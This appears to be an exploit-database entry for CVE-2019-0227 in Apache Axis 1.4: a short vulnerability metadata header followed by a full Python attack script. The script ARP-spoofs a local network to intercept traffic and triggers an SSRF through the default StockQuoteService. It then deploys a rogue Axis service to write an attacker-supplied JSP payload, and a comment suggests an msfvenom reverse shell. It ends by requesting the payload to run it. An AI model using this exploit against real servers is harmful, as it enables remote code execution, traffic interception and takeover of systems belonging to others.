Apache Axis 1.4 Remote Code Execution

2019.04.11
Credit: David Yesland
Risk: High
Local: No
Remote: Yes
CWE: CWE-918


CVSS Base Score: 5.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 5.5/10
Exploit range: Adjacent network
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++# # Apache Axis 1.4 Remote Code Execution CVE-2019-0227 # #https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis # # Author: David Yesland @daveysec, Rhino Security Labs # # This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM # # by forcing an http request using the default StockQuoteService.jws service. # # You need to be on the same network as the Axis server to make this work. # # A lot of this exploit is based on the research from: # # https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce # #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++# import SimpleHTTPServer import SocketServer import subprocess from time import sleep import thread import requests from urllib import quote_plus import sys #Usage: python CVE-2019-0227.py shell.jsp #You need to change these variable to match your configuration myip = "192.168.0.117" #IP of your machine target = "192.168.0.102" #IP of target gateway = "192.168.0.1" #default gateway targetport = "8080" #Port of target running axis (probably 8080) pathtoaxis = "http://192.168.0.102:8080/axis" #This can be custom depending on the Axis install, but this is default spoofinterface = "eth0" #Interface for arpspoofing jspwritepath = "webapps\\axis\\exploit.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install #msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload #craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22'+quote_plus(jspwritepath)+'%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment' #craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Aundeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22%2F%3E%3C%2Fns1%3Aundeployment' def CreateJsp(pathtoaxis,jsppayload): url = pathtoaxis+"/services/exploitservice" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "something", "Content-Type": "text/xml;charset=UTF-8"} data="<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\"\r\n xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\n xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Body>\r\n <api:main\r\n soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <api:in0><![CDATA[\r\n"+jsppayload+"\r\n]]>\r\n </api:in0>\r\n </api:main>\r\n </soapenv:Body>\r\n</soapenv:Envelope>" requests.post(url, headers=headers, data=data) def TriggerSSRF(pathtoaxis): url = pathtoaxis+"/StockQuoteService.jws" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8"} data="<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:def=\"http://DefaultNamespace\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <def:getQuote soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <symbol xsi:type=\"xsd:string\">dwas</symbol>\r\n </def:getQuote>\r\n </soapenv:Body>\r\n</soapenv:Envelope>" requests.post(url, headers=headers, data=data) def StartMitm(interface,target,gateway): subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)#Enable forwarding subprocess.Popen("arpspoof -i {} -t {} {}".format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -> gateway subprocess.Popen("iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)#use iptable to redirect back to our web server def KillMitm(target,myip): subprocess.Popen("pkill arpspoof",shell=True) subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward",shell=True) subprocess.Popen("iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True) def SSRFRedirect(new_path): class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(301) self.send_header('Location', new_path) self.end_headers() PORT = 80 SocketServer.TCPServer.allow_reuse_address = True handler = SocketServer.TCPServer(("", PORT), myHandler) print "[+] Waiting to redirect" handler.handle_request() print "[+] Payload URL sent" def ExecuteJsp(pathtoaxis): subprocess.Popen("curl "+pathtoaxis+"/exploit.jsp",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print "[+] Starting MITM" StartMitm(spoofinterface,target,gateway) sleep(2) print "[+] Starting web server for SSRF" thread.start_new_thread(SSRFRedirect,(deployurl,)) print "[+] Using StockQuoteService.jws to trigger SSRF" TriggerSSRF(pathtoaxis) print "[+] Waiting 3 seconds for incoming request" sleep(3) print "[+] Writing JSP payload" CreateJsp(pathtoaxis,payloadfile) print "[+] Cleaning up exploit service" thread.start_new_thread(SSRFRedirect,(undeployurl,)) TriggerSSRF(pathtoaxis) print "[+] Cleaning up man in the middle" KillMitm(target,myip) print "[+] Waiting 2 seconds for JSP write" sleep(2) ExecuteJsp(pathtoaxis) print "[+] Default URL to the jsp payload:" print pathtoaxis+"/exploit.jsp"


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